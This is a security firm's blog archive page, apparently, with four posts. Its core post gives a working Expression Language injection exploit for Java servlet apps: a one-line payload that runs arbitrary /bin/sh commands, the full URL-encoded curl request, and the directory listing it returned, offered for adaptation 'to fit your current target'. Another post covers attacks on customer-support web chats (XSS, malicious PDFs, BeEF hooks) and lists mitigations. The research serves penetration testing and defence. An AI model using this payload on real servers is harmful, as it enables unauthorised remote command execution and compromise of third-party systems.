Showing posts with label javascript. Show all posts
Showing posts with label javascript. Show all posts

Monday, May 18, 2020

Remote Working - Web Chats: Threats and countermeasures

Introduction

With recent worldwide events, a sharply increasing number of companies are offering remote services to their customers. Even traditional businesses are implementing new features or pushing the migration of existing features to new needs of dematerialization of human-to-human relationships. 
Web chats are an example of such trends.

Web chats

Rich messages web chats are a common feature implemented by companies to overcome the need of social distancing, while maintaining a close relationship with customers.
An example of rich messages web chat would be a graphical widget loaded by web site visitors to establish a chat session with a human operator, with the objective of sharing documents in a multimedia environment: users can share PDF files (e.g. personal documents, scans), video or audio files (e.g. vocal record of a formal declaration, acceptance of conditions and clauses for contracts, identity recognition) or even unpredicted formats, to deal with the abundance of multimedia files offered by end-user environments.
To do so, preview feature has a crucial role.

Scenario

As shown below, a typical scenario is a web server exposing chat capabilities, allowing human operators in a trusted network (e.g. a LAN) to interact with remote customers.
Usually, customers interact with the chat using a common browser over an untrusted network (the Internet, their own device); chat operators interact with customers using a browser or the backoffice component of the web chat, which commonly offers rich features, such as document viewing, session management, multiple channels interaction and capabilities to interact with customers in an "enhanced" manner.

This article will describe several attack vectors from potentially malicious remote customers against targeted chat operators and the software they use to interact with customers: the objective of described workflows is attacking the trusted internal corporate network.



Rich data exchange interaction

Backoffice chat components trie to recognize messages, files and URLs submitted by chat users with the aim of previewing them or offering operators with advanced tools to manipulate data.
Different recognition approaches are usually in place: parse file extensions, MIME type of uploaded files, and actually reading the real content of the file prior to supplying it to the operator.
If the recognition procedure does not thoroughly include a secure implementation of all the mentioned approaches, chat operators and internal resources may be prone to security threats.

Threats

Web chats can accept several formats for files, sent by users (e.g. with drag & drop) or submitting URLs.

HTML payloads

The simplest and most known attack vector is abusing the HTML parser of web chats:

Customer enters <b>ciao!</b>
Operator sees ciao!

Customer enters <script>alert("XSS!")</script>
Operator sees:


Malformed PDF file upload

User supplied PDF files can be opened by chat operators in embedded viewers in the backoffice component of the web chat or downloaded on their workstation, within the trusted corporate network.
Such files can be vehicle of arbitrary code (e.g. JavaScript or other active code), which can therefore be executed on the endpoint of chat operators, exploiting known vulnerabilities in the browser or in any other software used by operators to view the file.

As an example, PDF files can contain dynamic JavaScript code, very similar to how XSS attacks work:



Thus, malformed PDFs, especially if loaded with an outdated Adobe Acrobat version, can be an attack vector for further exploits (e.g. meterpreter payloads, malwares, droppers..) against the internal network, the browser, the operating system or other components in the trusted backoffice environment.

Note: any security concern for PDF files should be extended to Office documents (Word, Excel, Powerpoint), especially if older and/or not hardened versions of Microsoft Office are in use.
For example threats may include malwares embedded in Office documents or CSV Formula Injection attacks.

Malicious URLs (Abusing preview feature)

Web chats tries to parse URLs pasted by users' messages, with the aim of previewing their content.
If the parsing procedure is executed correctly, the PDF is previewed by an embedded viewer, and it can therefore lead to scenarios described above.
On the contrary, if the parsing procedure is not correctly executed, the preview mechanism (triggered by the presence of ".PDF" string in the URL) can lead to unexpected events.

For example, if the URL ends with ".pdf" string, the web chat may attempt to dynamically load any preview module. As shown below, ".pdf" in the URL does not indicate a real PDF file, but a folder named ".pdf" on an arbitrary web server.

Content of the attacker's web site:


$ ls ./.pdf -1
minded (executable file)
minded.html (malicious HTML file)
minded.pdf (malicious PDF file)


Behaviour of the preview on chat operator's software:



Several social engineering scenarios can be constructed over this behaviour, for example convincing the chat operator (whose job is trying to efficently interact with a customer) to download other files.

Semi-automatic scenarios, on the other hand, can include the execution of arbitrary code in HTML files, abusing the preview feature. For example, it would be possible to spawn a BeEF HTML hook against the browser in use by the chat operator:



The command & control server (used by the attacker / evil customer) would look similar to the following:



Consequently, the attacker can use a large plethora of social engineering / hijacking techniques.

For example, spawning fake system messages / Java Applet load requests:



Or even spawning fake Clippy Office Assistants:



Embedded players

Web chats may also include MP3 players, which, depending on the library in use by the chat software, may be prone to vulnerabilities related to outdated software modules.



Mitigations

  • Validate any uploaded file according to a predefined list of expected file types:
- Extension
- Content Type
- Actual content of the file
  • Rescale / Resize with a 1:1 ratio any multimedia file, before allowing chat operators to open the file, in the attempt of removing any metadata
  • Properly hardening procedures should be applied to any software in use by chat operators:
- Update PDF viewer software to the latest available version
- Apply proper security options (e.g. Enhanced security and protected mode in Adobe Acrobat) to harden PDF viewer software
  • Define a list of allowed file types for the preview feature, avoiding any other format: if chat operators are expected to receive only URLs, documents and images, define a list where only PDFs and JPGs/PNGs are allowed, while any other extension is excluded from previewing components.

References

https://acrobatusers.com/assets/collections/tutorials/legacy/tech_corners/javascript_corner/tips/2006/popup_windows_part2/AlertBoxExamples.pdf
https://www.adobe.com/devnet-docs/acrobatetk/tools/AppSec/enhanced.html
https://owasp.org/www-community/attacks/CSV_Injection
https://beefproject.com/

Monday, November 27, 2017

JavaScript security and tools evolution talk at OWASP Taiwan Week 2017

In this presentation are explained the modern improvements in JavaScript and Client (Browser) security features. Still, the increase of complexity in XSS attacks and vulnerabilities is driving the adoption of cutting-edge analysis tools for vulnerability discovering and analysis. At the end of the presentation, there is a demonstration of how BlueClosure can accomplish that with dynamic JavaScript analysis and fuzzing capabilities.


Slides:
https://www.slideshare.net/secret/NFIshhcqYVIHEp
Conference site:
http://2017.owasp.org.tw/speakers_01.html


Monday, November 23, 2015

Reliable OS Shell with - EL [ Expression Language ] - Injection


Abusing EL for executing OS Commands

Expression Language injection

Wow! It may lead to remote command execution on modern Servlet environments. This was  pointed out by Dan Amodio in 2012 with his art work exploit against Spring Double-Evaluation vulnerability (CVE-2011-2730). Herein he ported the exploitation technique presented in this Vulnerability Research Paper by Minded Security and Aspect Security in 2011 to newer Servlet versions reaching RCE (Remote Code Execution, which implies Remote Command Execution as well).

In this blog post we discuss a different payload code to exploit an Expression Language Injection security issue  in a reliable way. This is somehow the case during penetration tests of sensitive targets where it's important to not alter the local application by downloading external content or modifying the local file-system.

EL Injection example in a JSF Facelets Environment

index.xhtml gets “expression” parameter from the request and sends it to evalAsString():

        Hello from Facelets 
        <br /> 
        <h:outputText value="${beanEL.ELAsString(request.getParameter('expression'))}" /> 

NewClass.java implements ELAsString() that an EL implementation that evaluates arguments dynamically:

import java.io.Serializable;
import javax.el.ELContext;
import javax.el.ExpressionFactory;
import javax.el.ValueExpression;
import javax.faces.bean.ManagedBean;
import javax.faces.bean.SessionScoped;
import javax.faces.context.FacesContext;

@ManagedBean(name="beanEL")
@SessionScoped

public class NewClass implements Serializable {
   
    public static String ELAsString(String p_expression)
{
    FacesContext context = FacesContext.getCurrentInstance();
    ExpressionFactory expressionFactory = context.getApplication().getExpressionFactory();
    ELContext elContext = context.getELContext();
    ValueExpression vex = expressionFactory.createValueExpression(elContext, p_expression, String.class);
    String result = (String) vex.getValue(elContext);
    return result;
}
}


Why a One-Liner OS command shell payload?


The rules of this OS command shell game:

- Not rely on loading classes that are on external servers (e.g. Avoid Egress filtering, External class loading etc.)
- Work on a broad number of EL versions and servers (e.g. not only on Tomcat 8+)
- Executing an OS command
- Interactive output from EL injection: Os command output should be Redirected to the current HTTP response in-band
- Not write any file and or modify any other persistent resource
- Achieve all the previous with One single line of concatenated EL

Final payload


${facesContext.getExternalContext().getResponse().setContentType("text/plain;
charset=\"UTF-8\"")}${session.setAttribute("scriptfactory","".getClass().forName("javax.script.ScriptEngineManager").newInstance())}${session.setAttribute("scriptengine",session.getAttribute("scriptfactory").getEngineByName("JavaScript"))}${session.getAttribute("scriptengine").getContext().setWriter(facesContext.getExternalContext().getResponse().getWriter())}${session.getAttribute("scriptengine").eval("var
proc = new
java.lang.ProcessBuilder[\"(java.lang.String[])\"]([\"/bin/sh\",\"-c\",\"".concat(request.getParameter("cmd")).concat("\"]).start();
var is = proc.getInputStream(); var sc = new
java.util.Scanner(is,\"UTF-8\"); var out = \"\"; while
(sc.hasNext()) {out += sc.nextLine()+String.fromCharCode(10);}
print(out);"))}${facesContext.getExternalContext().getResponse().getWriter().flush()}${facesContext.getExternalContext().getResponse().getWriter().close()}



Payload Explained

Feel free to change it and modify it to fit your current target.


1) Setting the charset:

System.out.println(URLEncoder.encode(pf.enc.encrypt("${request.getResponse().setContentType("text/plain;
charset=\"UTF-8\"")}

2) Invoking ScriptManager constructor without arguments and we store the  instance as a session object:

${session.setAttribute("scriptfactory","".getClass().forName("javax.script.ScriptEngineManager").newInstance())},${session.setAttribute("scriptengine\",session.getAttribute("scriptfactory").getEngineByName("JavaScript"))}

3) Redirect ScriptEngine output writer output to the Http Response writer input:

${session.setAttribute("scriptengine",session.getAttribute("scriptfactory\").getEngineByName("JavaScript"))},${session.getAttribute("scriptengine").getContext().setWriter(facesContext.getExternalContext().getResponse().getWriter())}

4) Call the eval() method for the engine "JavaScript" that accepts JS code as string (sometimes Jetty 8.2 gives a “java.io.Reader”) with the JS code that executes the runtime command:

${session.getAttribute("scriptengine").eval("
new
java.lang.ProcessBuilder[\"(java.lang.String[])\"]([\"/bin/sh\",\"-c\",\"".concat(request.getParameter("cmd")).concat("\"]).start()"))}

5) Getting proc standard Output and reading it via java.util.Scanner and printing it out

var is = proc.getInputStream(); var sc = new
java.util.Scanner(is,\"UTF-8\"); var out = \"\"; while
(sc.hasNext()) {out += sc.nextLine()+String.fromCharCode(10);}
print(out);"))

5) Closing the http response
${facesContext.getExternalContext().getResponse().getWriter().close()}



Is a Servlet Modern enough for a reliable RCE?


JSP/EL should be at least at version 2.2. EL version goes hand in hand with Servlet/JSP version which is dependent on the servletcontainer implementation/version used and also on the web.xml root declaration of your web application.

  • Servlet 3.0 comes with JSP/EL 2.2 and we usually find those in Tomcat 7, Jetty 8.2, Jetty 9
  • Servlet 2.5 comes with JSP/EL 2.1.
  • Servlet 2.4 comes with JSP/EL 2.0.
  • Servlet 2.3 comes with JSP 1.2 without EL.
Note: Newer servers like Tomcat 8 and 9 have even newer servlet versions and better capabilities, but our target was running Jetty 9.1.

In 2012 Dan Amodio from Aspect Security  (http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection) discovered that  “While performing a penetration test on a client’s application on Glassfish, I learned that the EL 2.2 added support for method invocation. Try and load the org.springframework.expression.spel.standard.SpelExpressionParser... We failed many times!”. Unfortunately EL 2.2 method invocation is sneaky and has several bugs in its implementation that do not make it behave properly.

The following one is the invokeMethod() implementation in Servlet 2.2 and is possible to see that it may not work if more than one argument is passed. This  is a boring limitation since we can only invoke or call a limited number of methods:

private Object invokeMethod(Method m, Object base, Object[] params)
/*     */   {
/* 764 */     Class[] parameterTypes = m.getParameterTypes();
/* 765 */     Object[] parameters = null;
/* 766 */     if (parameterTypes.length > 0) {
/* 767 */       ExpressionFactory exprFactory = getExpressionFactory();
/* 768 */       if (!m.isVarArgs())
/*     */       {
/*     */
/* 771 */         parameters = new Object[parameterTypes.length];
/* 772 */         for (int i = 0; i < parameterTypes.length; i++) {
/* 773 */           parameters[i] = exprFactory.coerceToType(params[i], parameterTypes[i]);
/*     */         }
/*     */       }
/*     */     }
/*     */     try
/*     */     {
/* 779 */       return m.invoke(base, parameters);


If you are exploiting a web server different from Glassfish there is also an additional option: the Java JavaScript Engine.  JavaScript Engine is blocked in Glassfish EL implementation but not in other servers such as Apache Tomcat 7 or Jetty.

JS Rhino Script Engine is supported in Java 6 and 7,  Mozilla Nashorn Script Engine is available from Java 8.  For more information:

Rhino: https://docs.oracle.com/javase/7/docs/api/javax/script/ScriptEngineManager.html
Nashorn: https://docs.oracle.com/javase/8/docs/api/javax/script/ScriptEngineManager.html

Since “ScriptEngineManager” has an empty class constructor this can be abused by the method invocation technique from EL 2.2 pointed out earlier.


Exploit Payload request:


n0def@n0def:/# curl
'http://localhost:8080/WebApplication/?&cmd=ls%20/&expression=%24{facesContext.getExternalContext%28%29.getResponse%28%29.setContentType%28%22text%2fplain%3b%0Acharset%3d\%22UTF-8\%22%22%29}%24{session.setAttribute%28%22scriptfactory%22%2c%22%22.getClass%28%29.forName%28%22javax.script.ScriptEngineManager%22%29.newInstance%28%29%29}%24{session.setAttribute%28%22scriptengine%22%2csession.getAttribute%28%22scriptfactory%22%29.getEngineByName%28%22JavaScript%22%29%29}%24{session.getAttribute%28%22scriptengine%22%29.getContext%28%29.setWriter%28facesContext.getExternalContext%28%29.getResponse%28%29.getWriter%28%29%29}%24{session.getAttribute%28%22scriptengine%22%29.eval%28%22var%0Aproc%20%3d%20new%0Ajava.lang.ProcessBuilder[\%22%28java.lang.String[]%29\%22]%28[\%22%2fbin%2fsh\%22%2c\%22-c\%22%2c\%22%22.concat%28request.getParameter%28%22cmd%22%29%29.concat%28%22\%22]%29.start%28%29%3b%0Avar%20is%20%3d%20proc.getInputStream%28%29%3b%20var%20sc%20%3d%20new%0Ajava.util.Scanner%28is%2c\%22UTF-8\%22%29%3b%20var%20out%20%3d%20\%22\%22%3b%20while%0A%28sc.hasNext%28%29%29%20{out%20%2b%3d%20sc.nextLine%28%29%2bString.fromCharCode%2810%29%3b}%0Aprint%28out%29%3b%22%29%29}%24{facesContext.getExternalContext%28%29.getResponse%28%29.getWriter%28%29.flush%28%29}%24{facesContext.getExternalContext%28%29.getResponse%28%29.getWriter%28%29.close%28%29}'


Exploit Payload Response:


bin
boot
cdrom
dev
etc
home
initrd.img
initrd.img.old
lib
lost+found
media
mnt
opt
proc
root
run
sbin
srv
swapfile
sys
tmp
usr
var
vmlinuz
vmlinuz.old

n0def@n0def:/#

Wednesday, October 28, 2015

Advanced JS Deobfuscation Via AST and Partial Evaluation (Google Talk WrapUp)






The following post is a wrap up of a presentation I made for Google thanks to a very interesting initiative to meet web security researchers and Google security engineers - Thanks for the opportunity, BTW!

Instead of talking about my usual things like advanced DOM Based XSS  topics, I decided to propose some research about alternative approaches in JavaScript deobfuscation stuff we've been working on early this year.

In fact, here at Minded Security we deal with JavaScript since several years by now and
Client side security research, AMT agentless anti malware products, DOMinatorPro are only a few of the reasons our work on JavaScript is always part of our daily job.

Everyone admits JavaScript code can be sometimes really hard to read, especially when dealing with minimized code or obfuscated malware and even if there are quite a bunch of JS deobfuscators, most of them are runtime sandboxes or too simple static analyzers.

Here's why we developed JStillery. 
An internal product that helps us for:
  • Analysis of JS malware samples extracted from AMT logs
  • JS Normalization for Malware classification
  • Automatic support for exploiting DOM Based XSS on custom, minimized libraries using DOMinatorPro
  • WAF Analysis of XSS Payloads
Slides:



and a short video that shows what JStillery can do:



Comments are always welcome!